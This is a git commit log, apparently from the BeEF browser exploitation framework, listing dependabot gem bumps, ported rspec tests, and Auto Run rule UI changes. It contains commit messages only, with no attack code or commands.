- [Commits](https://github.com/ruby/rexml/compare/v3.2.6...v3.2.8)

---
updated-dependencies:
- dependency-name: rexml
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-05-16 21:46:00 +00:00
dependabot[bot]
64d8b542bb Bump nokogiri from 1.16.2 to 1.16.5
Bumps [nokogiri](https://github.com/sparklemotion/nokogiri) from 1.16.2 to 1.16.5.
- [Release notes](https://github.com/sparklemotion/nokogiri/releases)
- [Changelog](https://github.com/sparklemotion/nokogiri/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/nokogiri/compare/v1.16.2...v1.16.5)

---
updated-dependencies:
- dependency-name: nokogiri
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-05-13 23:41:01 +00:00
dependabot[bot]
0243619940 Bump rubocop from 1.63.4 to 1.63.5
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.63.4 to 1.63.5.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.63.4...v1.63.5)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-05-09 13:57:47 +00:00
dependabot[bot]
9b05cf2683 Bump irb from 1.13.0 to 1.13.1
Bumps [irb](https://github.com/ruby/irb) from 1.13.0 to 1.13.1.
- [Release notes](https://github.com/ruby/irb/releases)
- [Commits](https://github.com/ruby/irb/compare/v1.13.0...v1.13.1)

---
updated-dependencies:
- dependency-name: irb
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-05-06 13:25:20 +00:00
Stephen
6d6208cd81 Refactor Rakefile and spec files for better organization and readability 2024-05-05 03:28:20 +10:00
Stephen
ed7c9e8d3b Refactor Rakefile and spec files for better organization and readability 2024-05-05 03:27:23 +10:00
Stephen
0ff092902f Merge branch 'master' into port-tests 2024-05-04 04:38:06 +10:00
Stephen
5c4fccff48 Merge branch 'pr/jbrahy/3075' 2024-05-04 04:24:25 +10:00
John Brahy
591f76edea Update github_actions.yml
spelling error
2024-05-02 15:13:00 -07:00
dependabot[bot]
a1f27860a8 Bump irb from 1.12.0 to 1.13.0
Bumps [irb](https://github.com/ruby/irb) from 1.12.0 to 1.13.0.
- [Release notes](https://github.com/ruby/irb/releases)
- [Commits](https://github.com/ruby/irb/compare/v1.12.0...v1.13.0)

---
updated-dependencies:
- dependency-name: irb
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-05-02 13:50:59 +00:00
Stephen
a72668581b Merge branch 'master' into port-tests 2024-05-02 06:06:12 +10:00
Stephen
6d1c3c3a31 Merge branch 'master' into bump-gems 2024-05-02 06:02:20 +10:00
Stephen
cfc6da3834 fix sqlite3 gem version 2024-05-02 05:58:52 +10:00
dependabot[bot]
6b58cd3a6c Bump rubocop from 1.63.2 to 1.63.4
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.63.2 to 1.63.4.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.63.2...v1.63.4)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-05-01 19:47:55 +00:00
Stephen
ce71efbe73 Merge branch 'dependabot/bundler/sqlite3-2.0.1' into bump-gems 2024-05-01 04:34:19 +10:00
Stephen
38eb68f703 Merge branch 'bump-gems' into port-tests 2024-04-30 10:28:38 +10:00
Stephen
8bcde3006d Merge branch 'dependabot/bundler/rubocop-1.63.3' into bump-gems 2024-04-30 10:24:01 +10:00
Stephen
fe26a9f9bd Fix port availability check and add error message 2024-04-28 15:58:12 +10:00
Stephen
89c587c0d4 correct rspec name 2024-04-28 15:54:53 +10:00
dependabot[bot]
0cc3347a7b Bump selenium-webdriver from 4.19.0 to 4.20.1
Bumps [selenium-webdriver](https://github.com/SeleniumHQ/selenium) from 4.19.0 to 4.20.1.
- [Release notes](https://github.com/SeleniumHQ/selenium/releases)
- [Changelog](https://github.com/SeleniumHQ/selenium/blob/trunk/rb/CHANGES)
- [Commits](https://github.com/SeleniumHQ/selenium/commits)

---
updated-dependencies:
- dependency-name: selenium-webdriver
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-04-26 13:02:19 +00:00
dependabot[bot]
60a53ff303 Bump rubocop from 1.63.2 to 1.63.3
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.63.2 to 1.63.3.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.63.2...v1.63.3)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-04-23 13:30:28 +00:00
Stephen
6bd1b720be Merge branch 'master' into port-tests 2024-04-21 05:50:14 +10:00
dependabot[bot]
b33f004c0e Bump sqlite3 from 1.7.3 to 2.0.1
Bumps [sqlite3](https://github.com/sparklemotion/sqlite3-ruby) from 1.7.3 to 2.0.1.
- [Release notes](https://github.com/sparklemotion/sqlite3-ruby/releases)
- [Changelog](https://github.com/sparklemotion/sqlite3-ruby/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/sqlite3-ruby/compare/v1.7.3...v2.0.1)

---
updated-dependencies:
- dependency-name: sqlite3
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-04-20 19:24:46 +00:00
Stephen
4269c80668 Merge branch 'master' into dependabot/bundler/json-2.7.2 2024-04-21 05:14:19 +10:00
Stephen
e610f9947f Merge branch 'dependabot/bundler/rake-13.2.1' 2024-04-21 05:10:43 +10:00
Stephen
051502aeb2 Merge branch 'master' into dependabot/bundler/term-ansicolor-1.8.0 2024-04-21 04:58:31 +10:00
Stephen
4fe7fe73de remove misnamed file 2024-04-21 04:05:16 +10:00
Stephen
0eda8bbf48 add tests for debug modules 2024-04-21 04:03:45 +10:00
Stephen
92d84aa988 add tests to load modules 2024-04-21 04:03:24 +10:00
Stephen
8fe4673325 add ui support for tests 2024-04-21 04:01:21 +10:00
dependabot[bot]
0301de8e1c Bump rubocop from 1.62.1 to 1.63.2
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.62.1 to 1.63.2.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.62.1...v1.63.2)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-04-16 13:19:05 +00:00
dependabot[bot]
1c551d975c Bump term-ansicolor from 1.7.2 to 1.8.0
Bumps [term-ansicolor](https://github.com/flori/term-ansicolor) from 1.7.2 to 1.8.0.
- [Changelog](https://github.com/flori/term-ansicolor/blob/master/CHANGES)
- [Commits](https://github.com/flori/term-ansicolor/compare/v1.7.2...v1.8.0)

---
updated-dependencies:
- dependency-name: term-ansicolor
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-04-15 13:46:15 +00:00
Stephen
213cd721d6 clean up modules to assist in testing 2024-04-14 11:04:18 +10:00
dependabot[bot]
87c538d14f Bump rake from 13.1.0 to 13.2.1
Bumps [rake](https://github.com/ruby/rake) from 13.1.0 to 13.2.1.
- [Release notes](https://github.com/ruby/rake/releases)
- [Changelog](https://github.com/ruby/rake/blob/master/History.rdoc)
- [Commits](https://github.com/ruby/rake/compare/v13.1.0...v13.2.1)

---
updated-dependencies:
- dependency-name: rake
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-04-05 13:11:00 +00:00
dependabot[bot]
67da254ee2 Bump json from 2.7.1 to 2.7.2
Bumps [json](https://github.com/flori/json) from 2.7.1 to 2.7.2.
- [Release notes](https://github.com/flori/json/releases)
- [Changelog](https://github.com/flori/json/blob/master/CHANGES.md)
- [Commits](https://github.com/flori/json/compare/v2.7.1...v2.7.2)

---
updated-dependencies:
- dependency-name: json
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-04-04 13:52:11 +00:00
Stephen
1699a1dcde fixed module ui subfolder bug 2024-04-04 07:31:13 +10:00
Stephen
34fa29a958 added a cycle through the debug tests using their yml files 2024-04-02 15:49:35 +10:00
Stephen
4bb75179af start porting tests for debug modules 2024-04-01 10:45:10 +10:00
Stephen
ed0e43bd27 add db reset function reset_beef_db 2024-04-01 10:42:52 +10:00
Stephen
6afee3fc37 add BROWSER_HOOKING_TIMEOUT const 2024-04-01 10:42:30 +10:00
Stephen
5c4043977b remove excess require 2024-04-01 10:42:08 +10:00
Stephen
5102a1f196 changed to use SERVER_START_TIMEOUT 2024-03-30 17:05:05 +10:00
Stephen
e61a632d3c added SERVER_START_TIMEOUT const 2024-03-30 17:04:52 +10:00
Stephen
bbffef1ea7 changed tests to use PAGE_LOAD_TIMEOUT const 2024-03-30 16:54:44 +10:00
Stephen
b00573de72 aded PAGE_LOAD_TIMEOUT const 2024-03-30 16:53:15 +10:00
Stephen
fbbc607d3c Merge branch 'master' into port-tests 2024-03-30 10:47:08 +10:00
Stephen
21d833c004 Merge branch 'dependabot/bundler/async-1.32.1' 2024-03-30 10:28:51 +10:00
dependabot[bot]
7227e31696 Bump selenium-webdriver from 4.18.1 to 4.19.0
Bumps [selenium-webdriver](https://github.com/SeleniumHQ/selenium) from 4.18.1 to 4.19.0.
- [Release notes](https://github.com/SeleniumHQ/selenium/releases)
- [Changelog](https://github.com/SeleniumHQ/selenium/blob/trunk/rb/CHANGES)
- [Commits](https://github.com/SeleniumHQ/selenium/compare/selenium-4.18.1...selenium-4.19.0)

---
updated-dependencies:
- dependency-name: selenium-webdriver
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-03-28 13:53:58 +00:00
dependabot[bot]
b545e7010f Bump async from 1.32.0 to 1.32.1
Bumps [async](https://github.com/socketry/async) from 1.32.0 to 1.32.1.
- [Release notes](https://github.com/socketry/async/releases)
- [Changelog](https://github.com/socketry/async/blob/main/release.cert)
- [Commits](https://github.com/socketry/async/compare/v1.32.0...v1.32.1)

---
updated-dependencies:
- dependency-name: async
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-03-28 13:52:35 +00:00
Stephen
f378c0c999 Merge branch 'pr/LauchieHarvey/3031' into port-tests 2024-03-28 08:30:12 +10:00
Stephen
b5bbe9ed6a port login tests to rspec 2024-03-28 08:21:46 +10:00
Stephen
cdba6b632f use new stop_beef_server function 2024-03-28 08:21:06 +10:00
Stephen
9427107044 set to UTF-8 and add a stop server function 2024-03-28 08:20:07 +10:00
Stephen
6ee901724f add a test and remove the screenshot code 2024-03-28 08:19:09 +10:00
Stephen
6ea6e8d434 Merge branch 'bump-gems' into dependabot/bundler/rack-2.2.9 2024-03-28 03:57:11 +10:00
Stephen
473e4c1f74 Merge branch 'bump-gems' into dependabot/bundler/rdoc-6.6.3.1 2024-03-28 03:53:06 +10:00
Stephen
4841028648 Merge branch 'dependabot/bundler/net-smtp-0.5.0' into bump-gems 2024-03-28 03:52:22 +10:00
Stephen
3a2e11170d Merge branch 'port-tests' into dependabot/bundler/net-smtp-0.5.0 2024-03-28 03:49:54 +10:00
Stephen
45cb16c27a Merge branch 'master' into dependabot/bundler/async-1.32.0 2024-03-28 03:41:15 +10:00
Stephen
660487a9e6 Merge branch 'master' into pr/LauchieHarvey/3031 2024-03-28 03:13:43 +10:00
Stephen
6c960ea8aa stage login tests 2024-03-28 03:12:08 +10:00
Stephen
60cc069a3b remove excess new line 2024-03-28 03:10:31 +10:00
Stephen
dba210c109 tidy login_spec file 2024-03-28 03:08:32 +10:00
Stephen
83015d0a40 tidy unused 2024-03-28 03:07:43 +10:00
dependabot[bot]
d713e37506 Bump async from 1.31.0 to 1.32.0
Bumps [async](https://github.com/socketry/async) from 1.31.0 to 1.32.0.
- [Release notes](https://github.com/socketry/async/releases)
- [Changelog](https://github.com/socketry/async/blob/main/release.cert)
- [Commits](https://github.com/socketry/async/compare/v1.31.0...v1.32.0)

---
updated-dependencies:
- dependency-name: async
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-03-27 13:25:25 +00:00
dependabot[bot]
5f7d5e822a Bump net-smtp from 0.4.0.1 to 0.5.0
Bumps [net-smtp](https://github.com/ruby/net-smtp) from 0.4.0.1 to 0.5.0.
- [Release notes](https://github.com/ruby/net-smtp/releases)
- [Changelog](https://github.com/ruby/net-smtp/blob/master/NEWS.md)
- [Commits](https://github.com/ruby/net-smtp/compare/v0.4.0.1...v0.5.0)

---
updated-dependencies:
- dependency-name: net-smtp
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-03-27 13:25:00 +00:00
Stephen
aaf4c58235 tidy unused file 2024-03-27 18:57:28 +10:00
Stephen
24a25d6e6a tidy BeefTest and add more test cases 2024-03-27 18:53:56 +10:00
Stephen
f0bb5ed2d6 added boiler plate 2024-03-27 18:50:13 +10:00
Stephen
712201d909 fixed logout helper and cleaned up code 2024-03-26 19:04:58 +10:00
Stephen
c51c0fca6d added boiler plate 2024-03-26 19:03:50 +10:00
Stephen
0fb4805c44 fixed login helper function 2024-03-26 06:53:33 +10:00
Stephen
92e03ba62b remove excess comments 2024-03-25 17:12:19 +10:00
Stephen
0821490acd Merge branch 'master' into pr/LauchieHarvey/3031 2024-03-25 12:20:05 +10:00
Stephen
822c6616de removed excess debug code 2024-03-25 12:18:13 +10:00
Stephen
140129a91a fixed module loading bug 2024-03-25 12:16:33 +10:00
Stephen
95037f7c5a added the print dns function for banner info 2024-03-25 12:00:12 +10:00
Stephen
c4b0b63e90 move dns banner output into to banners.rb - still had a bug 2024-03-25 11:44:33 +10:00
Stephen
3e56a94573 tidy up auth_rate_spec 2024-03-25 07:26:54 +10:00
Stephen
27ae165f92 removed incorrect comment 2024-03-25 07:17:38 +10:00
Stephen
85e550e44c add test clean up of config settings 2024-03-25 05:38:27 +10:00
Stephen
88f383baae removed old tests 2024-03-24 18:14:19 +10:00
Stephen
52abaa32f2 fixed @server_started file init 2024-03-24 16:59:38 +10:00
Stephen
a41e2bb637 fix typo 2024-03-22 15:19:20 +10:00
Stephen
f978b5fc4f moved testing server functions to spec_helper.rb 2024-03-22 11:47:45 +10:00
Stephen
2d54cde54d basic format change 2024-03-22 11:33:27 +10:00
Stephen
86cf8bcfe5 added shutdown for the dns server 2024-03-22 11:02:10 +10:00
Stephen
8e67dab667 set dns logger level to ERROR only 2024-03-22 10:48:33 +10:00
Stephen
abdd89eacc stop multiple dns servers from starting and add a stop function 2024-03-22 10:32:31 +10:00
Stephen
5392867e72 enable QR tests 2024-03-22 05:44:43 +10:00
Stephen
50d03b5619 clean up QR output 2024-03-22 05:36:59 +10:00
Stephen
a67c791731 clean up QR output 2024-03-22 05:36:17 +10:00
Stephen
9077123d1e change to Configuration.instance instead of calling .new 2024-03-22 05:04:12 +10:00
dependabot[bot]
ba7e9b44e5 Bump rdoc from 6.6.2 to 6.6.3.1
Bumps [rdoc](https://github.com/ruby/rdoc) from 6.6.2 to 6.6.3.1.
- [Release notes](https://github.com/ruby/rdoc/releases)
- [Changelog](https://github.com/ruby/rdoc/blob/master/History.rdoc)
- [Commits](https://github.com/ruby/rdoc/compare/v6.6.2...v6.6.3.1)

---
updated-dependencies:
- dependency-name: rdoc
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-03-21 13:59:03 +00:00
dependabot[bot]
eb9011e66a Bump rack from 2.2.8.1 to 2.2.9
Bumps [rack](https://github.com/rack/rack) from 2.2.8.1 to 2.2.9.
- [Release notes](https://github.com/rack/rack/releases)
- [Changelog](https://github.com/rack/rack/blob/main/CHANGELOG.md)
- [Commits](https://github.com/rack/rack/compare/v2.2.8.1...v2.2.9)

---
updated-dependencies:
- dependency-name: rack
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-03-21 13:58:43 +00:00
Stephen
55632fe2d6 move the proxy banner to banners.rb 2024-03-20 16:43:13 +10:00
Stephen
0f216f4e20 refactor test cases 2024-03-20 12:24:23 +10:00
Stephen
32543c6f33 refactor starting beef server 2024-03-20 04:11:39 +10:00
Stephen
91295243a3 :x
:q!
2024-03-19 06:55:15 +00:00
Stephen
f3e3e6b014 init 'creds' var 2024-03-19 14:07:45 +10:00
Stephen
312e397bb7 update year 2024-03-19 14:07:15 +10:00
Stephen
bc5915fb05 Merge branch 'master' into pr/catatonicprime/2990 2024-03-19 04:06:00 +00:00
Stephen
1ee90dd885 Merge branch 'master' into dependabot/bundler/term-ansicolor-1.7.2 2024-03-18 20:50:43 +00:00
Stephen
48159dd914 Merge branch 'master' into dependabot/bundler/sqlite3-1.7.3 2024-03-18 20:48:48 +00:00
Stephen
0d0e5c4c77 readd pdf bounce file 2024-03-19 05:54:34 +10:00
dependabot[bot]
59d0e1c007 Bump term-ansicolor from 1.7.1 to 1.7.2
Bumps [term-ansicolor](https://github.com/flori/term-ansicolor) from 1.7.1 to 1.7.2.
- [Changelog](https://github.com/flori/term-ansicolor/blob/master/CHANGES)
- [Commits](https://github.com/flori/term-ansicolor/compare/v1.7.1...v1.7.2)

---
updated-dependencies:
- dependency-name: term-ansicolor
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-03-18 13:13:45 +00:00
dependabot[bot]
30d65b381e Bump sqlite3 from 1.7.2 to 1.7.3
Bumps [sqlite3](https://github.com/sparklemotion/sqlite3-ruby) from 1.7.2 to 1.7.3.
- [Release notes](https://github.com/sparklemotion/sqlite3-ruby/releases)
- [Changelog](https://github.com/sparklemotion/sqlite3-ruby/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/sqlite3-ruby/compare/v1.7.2...v1.7.3)

---
updated-dependencies:
- dependency-name: sqlite3
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-03-18 13:12:27 +00:00
Stephen
29872dfbff Merge branch 'master' into dependabot/bundler/irb-1.12.0 2024-03-17 23:52:03 +00:00
Stephen
9e9470974a Merge branch 'master' into dependabot/bundler/rack-2.2.8.1 2024-03-17 23:44:36 +00:00
Stephen
62db76cdd9 Merge branch 'master' into dependabot/bundler/rubocop-1.62.1 2024-03-17 23:35:14 +00:00
Stephen
ffdc303652 everything commented out. tests to be included in a long version of testing 2024-03-18 07:27:48 +10:00
Stephen
386a417aeb improved test cases 2024-03-18 07:17:20 +10:00
Stephen
d01f94a061 updated/improved requester tests but still not fully working 2024-03-17 19:17:14 +10:00
Stephen
32b72c2134 fixed string mangement bug 2024-03-17 17:03:30 +10:00
Stephen
ca8e49286a fixed command class test 2024-03-17 16:55:08 +10:00
Stephen
1ec09bb569 move the deprecation warning to the comment as it is only used in tests 2024-03-17 10:58:39 +10:00
Stephen
0b6e759ada fix serialize deprecation warning 2024-03-17 09:41:41 +10:00
Stephen
851cdb249e remove the ARGV warning 2024-03-17 09:39:11 +10:00
Stephen
33b92a5aab clean up auth rate test 2024-03-17 08:04:44 +10:00
Stephen
424e05ba7c remove the deprecation warning relating to serialize 2024-03-17 08:00:08 +10:00
Stephen
2fe3aecde1 moved puts to print_info in rate limit test 2024-03-17 06:40:48 +10:00
Stephen
442bade925 added QR error handling 2024-03-17 06:06:32 +10:00
Stephen
2eea0d3ef5 update ActiveRecord::Migration function 2024-03-17 05:16:17 +10:00
dependabot[bot]
f1d69d0301 Bump rubocop from 1.60.2 to 1.62.1
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.60.2 to 1.62.1.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.60.2...v1.62.1)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-03-11 13:24:30 +00:00
dependabot[bot]
05f833f857 Bump irb from 1.11.2 to 1.12.0
Bumps [irb](https://github.com/ruby/irb) from 1.11.2 to 1.12.0.
- [Release notes](https://github.com/ruby/irb/releases)
- [Commits](https://github.com/ruby/irb/compare/v1.11.2...v1.12.0)

---
updated-dependencies:
- dependency-name: irb
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-03-07 13:35:24 +00:00
root
bc1b3efa78 Removed debug console logs. 2024-03-01 07:16:36 -05:00
root
f7bef44b8f Autorun module change and save through UI. 2024-03-01 05:39:01 -05:00
root
fd4c4c1af5 Module combobox provided. change handler not implemented yet. 2024-02-28 00:38:18 -05:00
root
a47a35e7bc Edit Autorun rules in UI with dynamic input fields for modules. 2024-02-26 00:35:12 -05:00
root
e25529a76b Autorun UI elements now match command module elements. 2024-02-24 19:11:33 -05:00
root
9ccd8c633b Textfields for ARE module input fields. 2024-02-22 20:55:10 -05:00
dependabot[bot]
f3c7e2ee8c Bump rack from 2.2.8 to 2.2.8.1
Bumps [rack](https://github.com/rack/rack) from 2.2.8 to 2.2.8.1.
- [Release notes](https://github.com/rack/rack/releases)
- [Changelog](https://github.com/rack/rack/blob/main/CHANGELOG.md)
- [Commits](https://github.com/rack/rack/compare/v2.2.8...v2.2.8.1)

---
updated-dependencies:
- dependency-name: rack
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-02-22 13:34:55 +00:00
root
09cba67c90 Add module to a rule now via a button in the UI. 2024-02-21 22:16:24 -05:00
root
20089628b3 Can now delete ARE rule modules through UI. 2024-02-21 22:03:20 -05:00
root
c3bc4d2fcd Update DOM after creating, updating or deleting a rule. 2024-02-21 02:48:50 -05:00
root
065cd6dec9 Nicer format for Auto Run rules. 2024-02-21 02:40:14 -05:00
root
0fd2d433b2 Can now reorder modules in the UI. Execution order array is conflicting though. 2024-02-20 20:53:37 -05:00
root
fd2e56dd12 Created UI class for modules in Auto Run. 2024-02-20 16:52:49 -05:00
dependabot[bot]
913140133a Bump selenium-webdriver from 4.17.0 to 4.18.1
Bumps [selenium-webdriver](https://github.com/SeleniumHQ/selenium) from 4.17.0 to 4.18.1.
- [Release notes](https://github.com/SeleniumHQ/selenium/releases)
- [Changelog](https://github.com/SeleniumHQ/selenium/blob/trunk/rb/CHANGES)
- [Commits](https://github.com/SeleniumHQ/selenium/compare/selenium-4.17.0...selenium-4.18.1)

---
updated-dependencies:
- dependency-name: selenium-webdriver
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-02-20 13:19:07 +00:00
root
c2267992c6 Editing ARE rule modules as JSON in the UI. Added display condition fields for ARE rules too. 2024-02-19 03:16:26 -05:00
root
503dd532f6 Can update rule name and chain_mode through UI. 2024-02-18 22:42:41 -05:00
root
1b1c8543b3 Added REST PATCH endpoint for updating ARE rules. 2024-02-18 21:05:02 -05:00
root
6a18655a48 Rules can now be deleted through the UI. 2024-02-18 16:57:56 -05:00
root
aaac53f9fb Add ARE rule button for testing. Created author, name and chain_mode fields. 2024-02-17 18:36:48 -05:00
root
b1c04f9f6f Created form component for each ARE rule. 2024-02-17 03:18:03 -05:00
root
bf4883a0f0 Fixed incorrect API url. Now loads ARE rules and displays titles. 2024-02-16 17:29:15 -05:00
root
459a99dce4 Query the list of ARE rules on render. Display the count. 2024-02-16 00:17:33 -05:00
root
920a5c5a5d Created a new panel in the UI for auto run elements. 2024-02-15 20:39:38 -05:00
Stephen
aa030d6949 Merge branch 'dependabot/bundler/capybara-3.40.0' 2024-02-15 15:45:48 +10:00
Stephen
180f3600fb Merge branch 'dependabot/bundler/rspec-3.13.0' 2024-02-15 15:40:27 +10:00
Stephen
d5db23ea19 update gemfile.lock 2024-02-14 19:15:15 +10:00
Stephen
56c71464eb Merge branch 'dependabot/bundler/nokogiri-1.16.2' 2024-02-14 14:44:52 +10:00
dependabot[bot]
599b960e54 Bump irb from 1.11.1 to 1.11.2
Bumps [irb](https://github.com/ruby/irb) from 1.11.1 to 1.11.2.
- [Release notes](https://github.com/ruby/irb/releases)
- [Commits](https://github.com/ruby/irb/compare/v1.11.1...v1.11.2)

---
updated-dependencies:
- dependency-name: irb
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-02-08 13:45:10 +00:00
dependabot[bot]
8338f52682 Bump nokogiri from 1.16.0 to 1.16.2
Bumps [nokogiri](https://github.com/sparklemotion/nokogiri) from 1.16.0 to 1.16.2.
- [Release notes](https://github.com/sparklemotion/nokogiri/releases)
- [Changelog](https://github.com/sparklemotion/nokogiri/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/nokogiri/compare/v1.16.0...v1.16.2)

---
updated-dependencies:
- dependency-name: nokogiri
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-02-06 03:52:07 +00:00
dependabot[bot]
c4997f94c5 Bump rspec from 3.12.0 to 3.13.0
Bumps [rspec](https://github.com/rspec/rspec-metagem) from 3.12.0 to 3.13.0.
- [Commits](https://github.com/rspec/rspec-metagem/compare/v3.12.0...v3.13.0)

---
updated-dependencies:
- dependency-name: rspec
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-02-05 13:50:06 +00:00
Stephen
0d5644146b Merge branch 'dependabot/bundler/sqlite3-1.7.1' 2024-01-30 14:16:34 +10:00
Stephen
f948352f39 Merge branch 'dependabot/bundler/rubocop-1.60.2' 2024-01-30 14:02:41 +10:00
dependabot[bot]
c823147b00 Bump capybara from 3.39.2 to 3.40.0
Bumps [capybara](https://github.com/teamcapybara/capybara) from 3.39.2 to 3.40.0.
- [Changelog](https://github.com/teamcapybara/capybara/blob/master/History.md)
- [Commits](https://github.com/teamcapybara/capybara/compare/3.39.2...3.40.0)

---
updated-dependencies:
- dependency-name: capybara
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-01-29 13:57:23 +00:00
dependabot[bot]
addfffb5b2 Bump sqlite3 from 1.7.0 to 1.7.1
Bumps [sqlite3](https://github.com/sparklemotion/sqlite3-ruby) from 1.7.0 to 1.7.1.
- [Release notes](https://github.com/sparklemotion/sqlite3-ruby/releases)
- [Changelog](https://github.com/sparklemotion/sqlite3-ruby/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/sqlite3-ruby/compare/v1.7.0...v1.7.1)

---
updated-dependencies:
- dependency-name: sqlite3
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-01-26 22:42:11 +00:00
Stephen
753a37d3f3 Merge branch 'dependabot/bundler/selenium-webdriver-4.17.0' 2024-01-25 03:49:31 +10:00
dependabot[bot]
f663a8eede Bump rubocop from 1.59.0 to 1.60.2
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.59.0 to 1.60.2.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.59.0...v1.60.2)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-01-24 17:40:18 +00:00
dependabot[bot]
86cf4ca350 Bump selenium-webdriver from 4.16.0 to 4.17.0
Bumps [selenium-webdriver](https://github.com/SeleniumHQ/selenium) from 4.16.0 to 4.17.0.
- [Release notes](https://github.com/SeleniumHQ/selenium/releases)
- [Changelog](https://github.com/SeleniumHQ/selenium/blob/trunk/rb/CHANGES)
- [Commits](https://github.com/SeleniumHQ/selenium/compare/selenium-4.16.0...selenium-4.17.0)

---
updated-dependencies:
- dependency-name: selenium-webdriver
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-01-23 13:56:12 +00:00
dependabot[bot]
f14ac02c89 Bump irb from 1.11.0 to 1.11.1
Bumps [irb](https://github.com/ruby/irb) from 1.11.0 to 1.11.1.
- [Release notes](https://github.com/ruby/irb/releases)
- [Commits](https://github.com/ruby/irb/compare/v1.11.0...v1.11.1)

---
updated-dependencies:
- dependency-name: irb
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-01-10 13:41:40 +00:00
Stephen
3744708453 Merge branch 'dependabot/bundler/net-smtp-0.4.0.1' 2024-01-07 11:33:31 +10:00
Stephen
2e587ef2c4 Set social engineering extension to false by default 2024-01-07 11:33:12 +10:00
dependabot[bot]
8164f7fa49 Bump net-smtp from 0.4.0 to 0.4.0.1
